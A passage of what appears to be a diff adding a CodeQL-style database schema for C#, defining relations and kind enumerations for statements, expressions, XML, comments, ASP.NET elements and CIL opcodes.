stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +/* C# 9.0 */ +| 122 = @lt_pattern_expr +| 123 = @gt_pattern_expr +| 124 = @le_pattern_expr +| 125 = @ge_pattern_expr +| 126 = @not_pattern_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; +@relational_pattern_expr = @gt_pattern_expr | @lt_pattern_expr | @ge_pattern_expr | @le_pattern_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; +@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field; // todo: add function pointer type + +#keyset[method, index] +cil_parameter( + unique int id: @cil_parameter, + int method: @cil_method ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +#keyset[id, modifier] +cil_custom_modifiers( + int id: @cil_custom_modifier_receiver ref, + int modifier: @cil_type ref, + int kind: int ref); // modreq: 1, modopt: 0 + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: 